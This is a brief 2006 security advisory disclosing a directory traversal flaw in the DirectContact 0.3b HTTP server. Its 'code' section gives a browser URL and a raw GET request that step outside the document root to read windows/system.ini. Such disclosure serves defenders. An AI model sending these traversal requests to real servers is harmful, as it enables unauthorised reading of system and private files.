directory traversal in DirectContact 0.3b

                       Donato Ferrante

Application: DirectContact
http://reyero.info/dc/

Version: 0.3b

Bug: directory traversal

Date: 27-Feb-2006

Author: Donato Ferrante
e-mail: [email protected]
web: www.autistici.org/fdonato

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1. Description
2. The bug
3. The code
4. The fix

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1. Description:

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Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."

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2. The bug:

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The program is unable to manage malicious patterns like …\ or …/.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.

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3. The code:

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To test the vulnerability:

via browser:
http://[host]:[port]/…\…\…\…\windows/system.ini

via raw request:
GET /…/…/…/…/…/…/windows/system.ini HTTP/1.1

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4. The fix:

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Vendor has been contacted.
Bug will be fixed in the next release.

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